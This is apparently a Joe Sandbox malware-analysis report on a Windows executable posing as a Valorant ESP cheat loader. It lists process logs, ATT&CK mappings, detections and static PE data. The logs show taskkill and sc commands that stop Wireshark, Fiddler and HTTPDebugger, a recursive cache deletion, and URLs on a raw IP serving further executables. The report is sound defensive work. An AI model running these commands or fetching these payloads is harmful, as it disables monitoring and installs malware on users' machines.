Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe

Code function: 0_2_00007FF747D90894 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF747D90894

Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D65370 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,memcmp,closesocket,closesocket,closesocket,closesocket,	0_2_00007FF747D65370
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D75300 calloc,strchr,strncpy,strchr,strncpy,strchr,strtoul,strchr,strtoul,getsockname,WSAGetLastError,free,WSAGetLastError,memcpy,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,getsockname,WSAGetLastError,listen,WSAGetLastError,htons,free,	0_2_00007FF747D75300
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D7C060 calloc,calloc,calloc,bind,WSAGetLastError,	0_2_00007FF747D7C060
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D57F40 memset,strncmp,strncmp,strchr,htons,atoi,htons,htons,bind,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	0_2_00007FF747D57F40
Source: C:\Users\user\Desktop\EspPrivStoreAtt116.exe	Code function: 0_2_00007FF747D7BE00 calloc,calloc,calloc,bind,WSAGetLastError,	0_2_00007FF747D7BE00

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Windows Service	1 Windows Service	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Exploitation of Remote Services	12 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Native API	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	3 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
EspPrivStoreAtt116.exe	61%	Virustotal		Browse
EspPrivStoreAtt116.exe	63%	ReversingLabs	Win64.Trojan.Generic
EspPrivStoreAtt116.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://167.114.85.75/esphvcioffbronkzatualizadoh96.exe	0%	Avira URL Cloud	safe
http://167.114.85.75/esphvcionattprivatestore655.exeC:	0%	Avira URL Cloud	safe
http://167.114.85.75/esphvcionattprivatestore655.exe	0%	Avira URL Cloud	safe
http://167.114.85.75/esphvcioffbronkzatualizadoh96.exeC:	0%	Avira URL Cloud	safe
https://keyauth.cc/panel/bronkzware/Loader	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
keyauth.win	104.26.0.5	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://keyauth.win/api/1.1/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://167.114.85.75/esphvcioffbronkzatualizadoh96.exe	EspPrivStoreAtt116.exe	false	Avira URL Cloud: safe	unknown
http://167.114.85.75/esphvcionattprivatestore655.exeC:	EspPrivStoreAtt116.exe	false	Avira URL Cloud: safe	unknown
http://167.114.85.75/esphvcioffbronkzatualizadoh96.exeC:	EspPrivStoreAtt116.exe	false	Avira URL Cloud: safe	unknown
http://167.114.85.75/esphvcionattprivatestore655.exe	EspPrivStoreAtt116.exe	false	Avira URL Cloud: safe	unknown
https://keyauth.win/api/1.1/um	EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://keyauth.win/api/1.2/DATA=	EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://keyauth.win/api/1.1/ace6	EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.haxx.se/docs/http-cookies.html	EspPrivStoreAtt116.exe	false		high
https://curl.haxx.se/docs/http-cookies.html#	EspPrivStoreAtt116.exe	false		high
https://keyauth.cc/panel/bronkzware/Loader	EspPrivStoreAtt116.exe, 00000000.00000003.2153452773.0000029F6DFA6000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000003.2153688822.0000029F6DFA2000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF79000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF8C000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000003.2153688822.0000029F6DFA6000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000003.2153452773.0000029F6DFA2000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DFA6000.00000004.00000020.00020000.00000000.sdmp, EspPrivStoreAtt116.exe, 00000000.00000003.2153495880.0000029F6DF8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://keyauth.win/api/1.2/	EspPrivStoreAtt116.exe, 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmp, EspPrivStoreAtt116.exe, 00000000.00000002.3373469192.0000029F6DF4C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.0.5	keyauth.win	United States		13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590902
Start date and time:	2025-01-14 16:47:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	EspPrivStoreAtt116.exe
Detection:	MAL
Classification:	mal56.evad.winEXE@67/18@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 48 Number of non-executed functions: 226
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.253.45, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:49:27	API Interceptor	179733x Sleep call for process: EspPrivStoreAtt116.exe modified
10:50:44	API Interceptor	388x Sleep call for process: conhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.26.0.5	AimPrivStoreAtt117.exe	Get hash	malicious	Unknown	Browse
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse
	ak3o7AZ3mH.exe	Get hash	malicious	Babadeda, Conti, Mimikatz	Browse
	IJGLxMMTaK.exe	Get hash	malicious	Unknown	Browse
	IJGLxMMTaK.exe	Get hash	malicious	Unknown	Browse
	dMFmJxq6oK.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	IAdjMfB2A5.exe	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Win64.Evo-gen.9614.31304.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
keyauth.win	PlusPrivStoreAtt116.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	AimPrivStoreAtt117.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	ak3o7AZ3mH.exe	Get hash	malicious	Babadeda, Conti, Mimikatz	Browse	104.26.0.5
	Aclatis tool.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	Aclatis tool.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	IJGLxMMTaK.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	IJGLxMMTaK.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	dMFmJxq6oK.exe	Get hash	malicious	Unknown	Browse	104.26.0.5

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	email.eml	Get hash	malicious	unknown	Browse	172.64.41.3
	http://www.brillflooring.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	PlusPrivStoreAtt116.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	AimPrivStoreAtt117.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	http://brillflooring.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	0dsIoO7xjt.docx	Get hash	malicious	Unknown	Browse	172.65.251.78
	http://wagestream.acemlnb.com	Get hash	malicious	Unknown	Browse	104.20.0.15
	Subscription_Renewal_Receipt_2025.htm	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	Payment_243.js	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	http://www.brillflooring.com	Get hash	malicious	Unknown	Browse	104.26.0.5
	PlusPrivStoreAtt116.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	AimPrivStoreAtt117.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.26.0.5
	Subscription_Renewal_Receipt_2025.htm	Get hash	malicious	HTMLPhisher	Browse	104.26.0.5
	http://vionicstore.shop	Get hash	malicious	Unknown	Browse	104.26.0.5
	https://www.xrmtoolbox.com/	Get hash	malicious	Unknown	Browse	104.26.0.5
	q9JZUaS1Gy.doc	Get hash	malicious	Unknown	Browse	104.26.0.5
	TiOWA908TP.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fmessagupdates.courtfilepro.com%2FVTtMa	Get hash	malicious	HTMLPhisher	Browse	104.26.0.5

Process:	C:\Users\user\Desktop\EspPrivStoreAtt116.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.6129496847513636
Encrypted:	false
SSDEEP:	3:rRRqmIEaGj3F/9Dqa+U4W42oJXV/12To3G3oJXV/1WXqowvxOwVGt:H041ls/1HJ/1wcV4
MD5:	C7F3DB7690DFC6AF6C4758A6E97F62F8
SHA1:	853E06686F94A41861B9379D7C4DF2345561A93C
SHA-256:	3F9AECCCCC7B4411BCD809C0093342741B094C43BF546060544E078D76B8C522
SHA-512:	F05B260B2A5CCDD4C15EB42DA458B476CC6DFC8F1318587CE690581AF1D2FB785C98C7B8CCABAEF62DDE528BBD4D25D8AEB54241978C4D2C1CCC1DD1876D9A2D
Malicious:	false
Preview:	....##########################################################..[ Selecione uma opcao: ]..##########################################################....[1] Iniciar Valorant ESP (HVCI DESLIGADO): ..[2] Iniciar Valorant ESP (HVCI HABILITADO): ....[+] Selecione a opcao:

\Device\Null

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.003997527334849
Encrypted:	false
SSDEEP:	3:HnRthLK5a6eCMABe:HRoJPO
MD5:	DF5DC1ABC0D52F3C9E931E26A7C0065C
SHA1:	EE84123D3B3BC440C63DFE65FF5616BE2B0904D5
SHA-256:	F7167A2FACDE50428D8D2697A1CDFF075DE809323DD16D62B65CDD103B2A9A6D
SHA-512:	9B2253CE41880D22A2DDF4F886BB6CB22FF0C981400CD9D03A1FCA81DE5FAEB86C26B85B66ECEC960816D7BBE9740843890F2FCCD334B6D274295A32A8E6A4E9
Malicious:	false
Preview:	The system cannot find the file specified...

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	6.420268214401962
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	EspPrivStoreAtt116.exe
File size:	510'464 bytes
MD5:	3653a466ffb4ccb78a2898a781dea130
SHA1:	7c3a5e4267dfd27585a37b590543c4d9dec73ee2
SHA256:	8b09a8bf369165115ad04e9c7f7c0058b506b560ec0324657188592e66cbcd8a
SHA512:	a0a1f67e3df1224fd57baefe57df2438993422d29f1f8965118de636eca6f5eb39c76b210e6e4a703d41df6a7ee2cf9f6e81b2b1d8d365d9d2a5fa331bdde157
SSDEEP:	12288:GMPtninPfug6cNLjkEWBBu2cl71MzRUMk:ntninnugrNpWBU2S71AUMk
TLSH:	28B47D56A7A817E9D1A7C03CC547C603E7B6B4991311DBDB43A0CA791F237E26E3A720
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........V...V...V..._...B...PHe.^...PH..v...PH..\...PH..R...PH..P.......A...V...x.......?...9H..T...9H..W...9Hg.W...9H..W...RichV..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140060368
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x677DDF0D [Wed Jan 8 02:12:29 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	551e5f19de2baa264d46ee5c6718793c

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F52FC90D6C8h
dec eax
add esp, 28h
jmp 00007F52FC90D017h
int3
int3
jmp 00007F52FC90D97Eh
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [00001D9Bh]
dec eax
mov ecx, ebx
call dword ptr [00001D8Ah]
call dword ptr [00001DE4h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [00001DE0h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [00001DD4h]
test eax, eax
je 00007F52FC90D1A9h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [00019492h]
call 00007F52FC90D36Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00019579h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00019509h], eax
dec eax
mov eax, dword ptr [00019562h]
dec eax
mov dword ptr [000193D3h], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [000194D7h], eax
mov dword ptr [000193ADh], C0000409h
mov dword ptr [000193A7h], 00000001h
mov dword ptr [000000B1h], 00000000h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x77318	0x1cc	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7f000	0x1e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x7a000	0x405c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x80000	0x4ec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x71080	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x71100	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x70f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x62000	0x858	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x606e8	0x60800	663f6c1b9737e67c2a6764e4ebff456e	False	0.5325529266515544	data	6.334586632421333	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x62000	0x16ec4	0x17000	ed19f2f03e8e4c95b88fa40516677ba6	False	0.3795219089673913	data	5.599387100824537	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x79000	0xe08	0x400	52aed000567e6839374d043cd5841bf5	False	0.2138671875	data	2.4461568678801138	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x7a000	0x405c	0x4200	1f44589aeb34f25d94952a45d7939e4f	False	0.47407670454545453	data	5.699721075250355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x7f000	0x1e8	0x200	9682c2bd23621eded0bee00be928ba8f	False	0.54296875	data	4.772037401703051	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x80000	0x4ec	0x600	43a6897ca7133ec62c7e8be294ec97b7	False	0.5162760416666666	data	4.831811206446416	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x7f060	0x188	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5892857142857143

Imports

DLL	Import
KERNEL32.dll	ReadFile, PeekNamedPipe, WaitForMultipleObjects, CreateFileA, GetFileSizeEx, WideCharToMultiByte, RtlCaptureContext, GetModuleHandleA, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, FreeLibrary, GetSystemDirectoryA, QueryPerformanceFrequency, VerSetConditionMask, SleepEx, GetEnvironmentVariableA, EnterCriticalSection, FormatMessageA, SetLastError, CloseHandle, GetCurrentProcess, DeleteCriticalSection, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetModuleHandleW, GetCurrentProcessId, GetCurrentThreadId, GetFileType, MultiByteToWideChar, WaitForSingleObjectEx, MoveFileExA, GetTickCount, QueryPerformanceCounter, VerifyVersionInfoA, LoadLibraryA, LeaveCriticalSection, GetSystemTimeAsFileTime, GetProcAddress, GetLastError, InitializeCriticalSectionEx, GetConsoleWindow, SetConsoleTitleA, SetConsoleTextAttribute, SetConsoleScreenBufferInfoEx, GetConsoleScreenBufferInfoEx, SetConsoleMode, GetConsoleMode, Sleep, RtlLookupFunctionEntry, GetStdHandle, OutputDebugStringW, InitializeSListHead
USER32.dll	MessageBoxA, MoveWindow, GetWindowRect, GetWindowLongA, SetWindowLongA
ADVAPI32.dll	CryptEncrypt, CryptAcquireContextA, CryptReleaseContext, CryptGetHashParam, CryptGenRandom, CryptCreateHash, CryptHashData, CryptDestroyHash, CryptDestroyKey, CryptImportKey
SHELL32.dll	ShellExecuteA
MSVCP140.dll	?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ, ?_Xlength_error@std@@YAXPEBD@Z, _Thrd_detach, _Cnd_do_broadcast_at_thread_exit, ?_Throw_Cpp_error@std@@YAXH@Z, ??5?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@AEAH@Z, ?_Random_device@std@@YAIXZ, ?cin@std@@3V?$basic_istream@DU?$char_traits@D@std@@@1@A, ?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A, ?uncaught_exception@std@@YA_NXZ, ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z, ?_Xbad_function_call@std@@YAXXZ, ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z
urlmon.dll	URLDownloadToFileA
Normaliz.dll	IdnToAscii
WLDAP32.dll
